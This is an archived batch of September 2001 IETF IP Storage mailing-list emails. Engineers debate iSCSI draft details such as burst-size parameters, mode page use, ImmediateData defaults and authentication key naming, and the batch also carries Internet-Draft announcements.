iscsi : default iscsi mode page settings. > > > "Elliott, Robert" wrote: > > > > > If an initiator cares about any settings it better run MODE SENSE > > > to set them. In a multi-initiator environment with various kinds > > > of reset events occuring on the SAN, an initiator can't be sure > > > of the state of a mode page. (see the tape problem discovered by > > > Veritas in FCP-2 public review; tape mode pages were reset without > > > the knowledge of the application, breaking backups). > > > > Rob, > > > > Is'nt this all the more reason to avoid setting FirstBurstSize through a > > mode page and use a login key for this ? Shared mode pages can cause some > > strange side effects on I/Os that are using un-solicited data. > > Rob, Santosh, > > I would still go in favour of running a mode sense rather than using a login > key because > 1. by providing a value in login key essentially means that we are doing > some sort of mode select to the target > 2. if multiple initiators send different values of firstburstsize then > target has to behave accordingly with all different targets. > > This goes completely against the semantics of mode sense and mode select > defined in SCSI specifications. Any such parameteres are although > settable/changeable by clients but are mainly the properties of SCSI > LUs/targets. > > Mode sense command from initiator will simplify the logic at target's end as > well. > > regards, > sanjeev > > > > > > > > > > Logical Unit Control Mode Page > > > > ============================== > > > > This mode page definition can be removed from the iscsi draft since it > > > > governs per-LUN state information and LUN state is the realm of the > > > > SCSI ULP. In particular, it is the SCSI ULP that decides whether to > > > > enable/disable CRN, since CRN is generated by the SCSI ULP. > > > > > > > > Thus, it is un-clear why the "Enable CRN" is negotiated at a > > > > protocol level & not at a SCSI ULP mode page such as the > > > > Control Mode Page. (??). > > > > > > > > Could anybody comment on why CRN (a ULP feature) needs to be > > > > enabled in an iscsi protocol mode page ? > > > > Perhaps, for FCP it made sense to negotiate something like > > > > "Enable CRN" in FCP specific mode pages, since early revisions > > > > of FCP did'nt specify the CRN field in FCP_CMD IU and so, > > > > the "Enable Precise Delivery" (EPDC) bit was required to > > > > be queried/set using mode sense/select, prior to using CRN. > > > > > > > > > Since iscsi supports CRN in its scsi command pdu from its > > > > initial rev, I don't see why "Enable CRN" is needed to be done > > > > at the iscsi protocol level. > > > > > > You're right that history is the reason. CRN was created in FCP-2 > > > and wasn't added to SAM-2 until recently. Thus, it was > > > protocol-specific. The Logical Unit Control mode page was > > > created as a new page separate from the Port Control mode page > > > specifically to host the EPDC bit, which does not have > > > target-wide scope like the other Port Control mode page fields. > > > > > > The Control mode page doesn't have any fields whose implementation > > > depends on the protocol, so it's not really a good home for this. > > > The Disconnect-reconnect mode page does, but CRN doesn't really > > > fit with its other fields. Since FCP-2 has already committed to > > > using the Logical Unit Control mode page, it makes sense for > > > iSCSI to do the same. > > > > Does the EPDC bit verify the CRN capabilities of both the target FCP layer > > and the target SCSI ULP (device server) ? One would think the capabilities > > of the 2 layers need to be checked through seperate bits. The device > > server's ability to support CRN is a SCSI ULP feature and seems more like > a > > bit in the Control Mode Page. (does not exist today ?). The target FCP's > > CRN capability is tested through the FCP specific EPDC bit in the FCP > > specific lun control mode page. > > > > For iSCSI, no protocol specific test should be required since iscsi always > > supports CRN. Regarding the device server's support for CRN, this seems > > like a better fit in the Control Mode Page. > > > > Regards, > > Santosh > > > > > CRN on one side, a bridge probably wants it enabled on the other > > > side so it doesn't have trouble reordering packets. By using > > > the same page the bridge can just pass through the Mode > > > Select/Mode Sense data when the software issues those commands. > > > > > If a different page was used, it might need to generate > > > additional Mode Select/Mode Sense commands and translate > > > the information. This is also why I think EMDP needs to > > > remain controlled by the Port Control mode page, rather than > > > just be delegated to text key exchange. > > > > * > * For T10 Reflector information, send a message with > * 'info t10' (no quotes) in the message body to majordomo@t10.org From owner-ips@ece.cmu.edu Mon Sep 24 09:55:42 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09960 for ; Mon, 24 Sep 2001 09:55:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8NNJOn26991 for ips-outgoing; Sun, 23 Sep 2001 19:19:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8NNJHP26985 for ; Sun, 23 Sep 2001 19:19:17 -0400 (EDT) Received: from SANJEEV ([169.254.1.5]) by zoetermeer.tripace.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id T157X2JY; Mon, 24 Sep 2001 01:20:53 +0200 Message-ID: <008601c14487$43f79fa0$0501fea9@SANJEEV> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: "Santosh Rao" , "IPS Reflector" References: <3BABAF00.57118E5E@cup.hp.com> Subject: Re: iscsi : MaximumBurstSize & FirstBurstSize values. Date: Mon, 24 Sep 2001 01:27:06 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit ----- Original Message ----- From: "Santosh Rao" To: "IPS Reflector" Sent: Friday, September 21, 2001 11:20 PM Subject: Re: iscsi : MaximumBurstSize & FirstBurstSize values. > Robert Snively wrote: > > > I am sorry, but I don't think this is a necessary or appropriate > > > limitation. FirstBurstSize is a PDU size, and its characteristics > > are determined by the unsolicited data buffer capability of the > > target. MaximumBurstSize is a PDU size, and its characteristics > > are determined by the solicited data buffer size and the buffer > > size increments available to the initiator. These may meet that > > rule, but they may also not meet that rule. That is why there > > are two values. > > > > It may be important to clarify that FirstBurstSize overrides > > MaximumBurstSize for the first burst. > > Bob, Although I agree with Bob here but isnt it worth thinking, why should the firstburstsize be greater than MaximumBurstSize. I think in all practical implemetation firstburstsize will be lesser than MaximumBurstSize. Considering bob's explanation, It will not be a good idea to put any restrictions with respect to size but just to avoid some confusion it might be better to rename FirstBurstSize as UnsolicitedBurstSize and MaximumBurstSize as MaximumSolicitedBurstSize. > > Your solution works fine for me. > > The current draft wording is not clear on how the initiator must send > un-solicited data when MaximumBurstSize is < FirstBurstSize, since the > meaning of the "F" bit in the data-out sequence is currently over-loaded to > imply end-of-sequence as well as end-of-unsolicited data. Sequence length > could be construed as less than length of un-solicited data. > > Regards, > Santosh > > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Friday, September 21, 2001 11:43 AM > > > To: IPS Reflector > > > Subject: iscsi : MaximumBurstSize & FirstBurstSize values. > > > > > > > > > All, > > > > > > I believe the FirstBurstSize setting has to be <= MaximumBurstSize ? I > > > suggest that this be explicitly called out in the definition of > > > FirstBurstSize. > > > > > > If this rule is not followed, an initiator would need to break the > > > un-solicited data it sends into more than 1 data-out sequence, and in > > > setting the F bit to indicate end-of-sequence, it can confuse > > > the target > > > into thinking its end of un-solicited data. > > > > > > > > > The definitions currently read : > > > > > > "4.1.1 MaximumBurstSize Field (16 bit) > > > > > > This field defines the maximum SCSI data payload in an iSCSI > > > sequence (a > > > sequence of Data-In or Data-Out PDUs ending with a Data-In or Data-Out > > > PDU with the F bit set to one) in units of 512 bytes. The default > > > value assumed for a new iSCSI session (I_T nexus) is 512 units. > > > > > > 4.1.3 FirstBurstSize Field (16 bit) > > > > > > This field defines the maximum amount of unsolicited data an iSCSI > > > initiator may to send to the target in units of 512 bytes. The default > > > value assumed for a new iSCSI session (I_T nexus) is 128 units. " > > > > > > Regards, > > > Santosh > > > > From owner-ips@ece.cmu.edu Mon Sep 24 09:55:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09976 for ; Mon, 24 Sep 2001 09:55:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8NN5Jq26350 for ips-outgoing; Sun, 23 Sep 2001 19:05:19 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8NN5HP26345 for ; Sun, 23 Sep 2001 19:05:17 -0400 (EDT) Received: from SANJEEV ([169.254.1.5]) by zoetermeer.tripace.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id T157X2JW; Mon, 24 Sep 2001 01:06:30 +0200 Message-ID: <005601c14485$41757380$0501fea9@SANJEEV> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: "Santosh Rao" , "IPS Reflector" Cc: "T10 Reflector" References: <78AF3C342AEAEF4BA33B35A8A15668C6019E203B@cceexc17.americas.cpqcorp.net> <3BAB9495.F7BB3B9A@cup.hp.com> Subject: Re: iscsi : default iscsi mode page settings. Date: Mon, 24 Sep 2001 01:12:41 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit ----- Original Message ----- From: "Santosh Rao" To: "IPS Reflector" Cc: "T10 Reflector" Sent: Friday, September 21, 2001 9:27 PM Subject: Re: iscsi : default iscsi mode page settings. > "Elliott, Robert" wrote: > > > If an initiator cares about any settings it better run MODE SENSE > > to set them. In a multi-initiator environment with various kinds > > of reset events occuring on the SAN, an initiator can't be sure > > of the state of a mode page. (see the tape problem discovered by > > Veritas in FCP-2 public review; tape mode pages were reset without > > the knowledge of the application, breaking backups). > > Rob, > > Is'nt this all the more reason to avoid setting FirstBurstSize through a > mode page and use a login key for this ? Shared mode pages can cause some > strange side effects on I/Os that are using un-solicited data. Rob, Santosh, I would still go in favour of running a mode sense rather than using a login key because 1. by providing a value in login key essentially means that we are doing some sort of mode select to the target 2. if multiple initiators send different values of firstburstsize then target has to behave accordingly with all different targets. This goes completely against the semantics of mode sense and mode select defined in SCSI specifications. Any such parameteres are although settable/changeable by clients but are mainly the properties of SCSI LUs/targets. Mode sense command from initiator will simplify the logic at target's end as well. regards, sanjeev > > > > > > Logical Unit Control Mode Page > > > ============================== > > > This mode page definition can be removed from the iscsi draft since it > > > governs per-LUN state information and LUN state is the realm of the > > > SCSI ULP. In particular, it is the SCSI ULP that decides whether to > > > enable/disable CRN, since CRN is generated by the SCSI ULP. > > > > > > Thus, it is un-clear why the "Enable CRN" is negotiated at a > > > protocol level & not at a SCSI ULP mode page such as the > > > Control Mode Page. (??). > > > > > > Could anybody comment on why CRN (a ULP feature) needs to be > > > enabled in an iscsi protocol mode page ? > > > Perhaps, for FCP it made sense to negotiate something like > > > "Enable CRN" in FCP specific mode pages, since early revisions > > > of FCP did'nt specify the CRN field in FCP_CMD IU and so, > > > the "Enable Precise Delivery" (EPDC) bit was required to > > > be queried/set using mode sense/select, prior to using CRN. > > > > > > Since iscsi supports CRN in its scsi command pdu from its > > > initial rev, I don't see why "Enable CRN" is needed to be done > > > at the iscsi protocol level. > > > > You're right that history is the reason. CRN was created in FCP-2 > > and wasn't added to SAM-2 until recently. Thus, it was > > protocol-specific. The Logical Unit Control mode page was > > created as a new page separate from the Port Control mode page > > specifically to host the EPDC bit, which does not have > > target-wide scope like the other Port Control mode page fields. > > > > The Control mode page doesn't have any fields whose implementation > > depends on the protocol, so it's not really a good home for this. > > The Disconnect-reconnect mode page does, but CRN doesn't really > > fit with its other fields. Since FCP-2 has already committed to > > using the Logical Unit Control mode page, it makes sense for > > iSCSI to do the same. > > Does the EPDC bit verify the CRN capabilities of both the target FCP layer > and the target SCSI ULP (device server) ? One would think the capabilities > of the 2 layers need to be checked through seperate bits. The device > server's ability to support CRN is a SCSI ULP feature and seems more like a > bit in the Control Mode Page. (does not exist today ?). The target FCP's > CRN capability is tested through the FCP specific EPDC bit in the FCP > specific lun control mode page. > > For iSCSI, no protocol specific test should be required since iscsi always > supports CRN. Regarding the device server's support for CRN, this seems > like a better fit in the Control Mode Page. > > Regards, > Santosh > > > CRN on one side, a bridge probably wants it enabled on the other > > side so it doesn't have trouble reordering packets. By using > > the same page the bridge can just pass through the Mode > > Select/Mode Sense data when the software issues those commands. > > > If a different page was used, it might need to generate > > additional Mode Select/Mode Sense commands and translate > > the information. This is also why I think EMDP needs to > > remain controlled by the Port Control mode page, rather than > > just be delegated to text key exchange. > From owner-ips@ece.cmu.edu Mon Sep 24 10:14:32 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11974 for ; Mon, 24 Sep 2001 10:14:32 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ODCCL18086 for ips-outgoing; Mon, 24 Sep 2001 09:12:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OD9sP17900 for ; Mon, 24 Sep 2001 09:09:54 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03157; Mon, 24 Sep 2001 09:09:47 -0400 (EDT) Message-Id: <200109241309.JAA03157@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; CC: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-monia-ips-enccrcex-00.txt Date: Mon, 24 Sep 2001 09:09:46 -0400 Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : Common Encapsulation CRC Format Author(s) : C. Monia Filename : draft-monia-ips-enccrcex-00.txt Pages : 7 Date : 20-Sep-01 This document proposes a change to the FC Common Encapsulation specification [ENCAP] to define how a Fibre Channel CRC is instantiated for transmission over an IP network. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-monia-ips-enccrcex-00.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-monia-ips-enccrcex-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-monia-ips-enccrcex-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010920115918.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-monia-ips-enccrcex-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-monia-ips-enccrcex-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010920115918.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Mon Sep 24 10:18:26 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12328 for ; Mon, 24 Sep 2001 10:18:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ODBxO18043 for ips-outgoing; Mon, 24 Sep 2001 09:11:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls20.mediaone.net (chmls20.mediaone.net [24.147.1.156]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OD7aP17738 for ; Mon, 24 Sep 2001 09:07:36 -0400 (EDT) Received: from eddylaptop (equicksall.ne.mediaone.net [24.61.64.49]) by chmls20.mediaone.net (8.11.1/8.11.1) with SMTP id f8OD7wx10484 for ; Mon, 24 Sep 2001 09:07:58 -0400 (EDT) From: "Eddy Quicksall" To: Subject: iSCSI: binary values Date: Fri, 21 Sep 2001 16:48:40 -0400 Message-ID: <000101c144f9$dc27dcf0$0201a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit In "numerical" negotiations, the offering and responding party state a numerical value. The result of the negotiation is key dependent; frequently the lower or the higher of the two values is used. Binary negotiations (for keys taking the values yes or no) are a restricted form of numerical negotiations and, as in the general numerical case, the result is key dependent. Would it help to specify that "yes" is less than "no" (or visa versa)? Then the binary explanation would be even more consistent with the referenced numerical case. Eddy_Quicksall@iVivity.com From owner-ips@ece.cmu.edu Mon Sep 24 10:20:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12501 for ; Mon, 24 Sep 2001 10:20:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ODC5518062 for ips-outgoing; Mon, 24 Sep 2001 09:12:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls20.mediaone.net (chmls20.mediaone.net [24.147.1.156]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OD7iP17754 for ; Mon, 24 Sep 2001 09:07:44 -0400 (EDT) Received: from eddylaptop (equicksall.ne.mediaone.net [24.61.64.49]) by chmls20.mediaone.net (8.11.1/8.11.1) with SMTP id f8OD8Cx10806 for ; Mon, 24 Sep 2001 09:08:12 -0400 (EDT) From: "Eddy Quicksall" To: Subject: RE: ImmediateData Text Parameter Negotiation Date: Mon, 24 Sep 2001 08:12:36 -0400 Message-ID: <000201c144f9$e3eed470$0201a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 In-Reply-To: <3BA936F3.47485DBA@cup.hp.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I vote for NO. My reason is as follows: 2.2.4 Text Mode Negotiation says: For numerical (and binary) negotiations, the responding party SHOULD respond with the required key but the offering party MUST accept no answer as equivalent to answering with the default value. If the target negotiates for NO and the initiator does not answer, then YES is assumed because that is the default. So if the target can't do immediate, it would have to close the connection. It could be argued that that would be OK because the initiator should probably have answered, but I'm not crazy about that argument. I don't agree that YES is easier ... in my first driver, I found that it was much easier to use the R2T because it related very closely to the phase change in pSCSI (i.e., you don't change phase until you are ready to receive the data). If the default is changed to NO, how does that hurt anything? All the initiator needs to do is negotiate for YES. Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Wednesday, September 19, 2001 8:23 PM To: ips@ece.cmu.edu Subject: Re: ImmediateData Text Parameter Negotiation The default settings should be conservative. Anyone offering advanced features must be preapred to do extra work to offer the same and this involves having to explicitly negotiate those keys to set it to aggressive values. In keeping with other scsi models such as scsi mode page settings, defaults must always be set to conservative values. - Santosh "Wheat, Stephen R" wrote: > As both an iSCSI Target and RAID building blocks supplier, I agree with John > and Sandeep that ImmediateData=Yes as default. In particular, for the very > reasons attributed to John below. > > Stephen > > -----Original Message----- > From: Dave Sheehy [mailto:dbs@acropora.rose.agilent.com] > Sent: Wednesday, September 19, 2001 4:12 PM > To: ips@ece.cmu.edu > Subject: Re: ImmediateData Text Parameter Negotiation > > > > > I'd prefer "yes" as the default. > > > > Targets with memory constraints should limit the > > maxCmdSN they advertise (allow only one cmd in the > > worst case.. ) > > > > What are the other reasons why "no" would be preferred ? > > Historical I suppose. Fibre Channel initially didn't support immediate or > unsolicited data. Unsolicited data cannot be directly placed so it requires > extra work and buffering on the part of the target which isn't readily > accelerated in HW and Fibre Channel's emphasis was on enabling HW > acceleration. > > Recently (relatively anyway), FCP-2 added immediate data commands back into > Fibre Channel and some Fibre Channel folks mentioned on this list that it > was a good thing. Yet, to date, I have seen no customer interest in that > functionality so it makes me wonder what the fuss is about. > > John's argument has been that we need immediate/unsolicited data in order to > fill long fat pipes. He also has said the extra work required on the target > side is worth it. I want to test those notions with the other systems and > peripheral (e.g. storage array) vendors. > > Dave Sheehy > > > > > -Sandeep > > > > > > Additionally, I feel that the default value for ImmediateData should > be > > > > "no". > > > > > > This comes down to what do we think the most common default behavior is > > > going to be. So far IIRC, the only person who has explicitly stated that > > > immediate data support will be the common default behavior has been John > > > Hufferd. I'd like to hear the opinions of the rest of the list. > > > > > > Dave Sheehy From owner-ips@ece.cmu.edu Mon Sep 24 10:22:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12706 for ; Mon, 24 Sep 2001 10:22:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ODC9N18077 for ips-outgoing; Mon, 24 Sep 2001 09:12:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OD9eP17880 for ; Mon, 24 Sep 2001 09:09:40 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03063; Mon, 24 Sep 2001 09:09:29 -0400 (EDT) Message-Id: <200109241309.JAA03063@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ips-fcovertcpip-06.txt Date: Mon, 24 Sep 2001 09:09:29 -0400 Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : Fibre Channel Over TCP/IP (FCIP) Author(s) : M. Rajagopal, R. Bhagwat et al. Filename : draft-ietf-ips-fcovertcpip-06.txt Pages : 46 Date : 20-Sep-01 Fibre Channel Over TCP/IP (FCIP) describes mechanisms that allow the interconnection of islands of Fibre Channel storage area networks over IP-based networks to form a unified storage area network in a single Fibre Channel fabric. FCIP relies on IP-based network services to provide the connectivity between the storage area network islands over local area networks, metropolitan area networks, or wide area networks. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-fcovertcpip-06.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-fcovertcpip-06.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-fcovertcpip-06.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010920115842.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ips-fcovertcpip-06.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ips-fcovertcpip-06.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010920115842.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Mon Sep 24 11:02:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAB16620 for ; Mon, 24 Sep 2001 11:02:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8O85LO22891 for ips-outgoing; Mon, 24 Sep 2001 04:05:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8O85IP22887 for ; Mon, 24 Sep 2001 04:05:19 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id KAA301926 for ; Mon, 24 Sep 2001 10:05:11 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8O858t107860; Mon, 24 Sep 2001 10:05:08 +0200 Importance: Normal Subject: RE: iSCSI: U= in Authentication To: "John Hufferd" Cc: ips@ece.cmu.edu, "Amy N Congdon" , PAUL__" From: "Ofer Biran" Date: Mon, 24 Sep 2001 10:52:07 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 24/09/2001 11:05:09 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk OK, we'll add SRP_ and CHAP_ prefixes to their keys. Regards, Ofer Ofer Biran Storage and Systems Technology IBM Research Lab in Haifa biran@il.ibm.com 972-4-8296253 John Hufferd/San Jose/IBM@IBMUS@ece.cmu.edu on 20/09/2001 21:12:12 Please respond to John Hufferd/San Jose/IBM@IBMUS Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Amy N Congdon/Austin/IBM@IBMUS, PAUL__" in Authentication I agree with Paul on this Key Name issue. We should not leave our keywords up to a separate organization and process. I can imagine that in the future, we might want to permit a new Authentication routine. It might have Keywords that are duplicates of other, perhaps non security keywords, which are part of the base iSCSI protocol. Though I understand that we can get the parsing done correctly, I see a lot of possible human confusion, and communication problems with the straight insertion of other RFC keywords into iSCSI. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on 09/20/2001 10:10:24 AM Sent by: owner-ips@ece.cmu.edu To: Ofer Biran/Haifa/IBM@IBMIL, "CONGDON,PAUL (HP-Roseville,ex1)" cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication Ofer and Steve, The fact that the keys are authentication method specific is exactly the problem. The difficulty with parsing non-unique keys is that you must tell your parser what context it is operating under. I can conceive of how this can be done, it's not that hard, but it seems like unnecessary complexity. It could get worse if key names overlap outside of authentication phase. I agree that aligning with the names used in the relevant RFCs has some merit. Perhaps we could satisfy both needs by using names such as: Srp-U, Srp-N, Srp-g, Srp-s, Srp-A, Srp-B, Srp-M, Srp-HM Chap-N, Chap-I, Chap-C, Chap-R, Chap-A Paul -----Original Message----- From: Ofer Biran [mailto:BIRAN@il.ibm.com] Sent: Thursday, September 20, 2001 5:28 AM To: CONGDON,PAUL (HP-Roseville,ex1) Cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication Paul, The implementers are sent to the relevant RFC for the definition of each authentication method, so the clearest way in my opinion was to use the exact keys as appeared in the RFCs (with a simple statement e.g. - "Where N, g, s, A, B, M, and H(A | M | K) are defined in [RFC2945]" ). I don't think, as Steve doesn't, that there is a real parsing problem since these keys are authentication method's specific (and you know where you are at that point). Regards, Ofer Ofer Biran Storage and Systems Technology IBM Research Lab in Haifa biran@il.ibm.com 972-4-8296253 "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on 19/09/2001 20:12:37 Please respond to "CONGDON,PAUL (HP-Roseville,ex1)" Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL, Ofer_Biran/Haifa/IBM , mbakke@cisco.com, jtseng@NishanSystems.com cc: 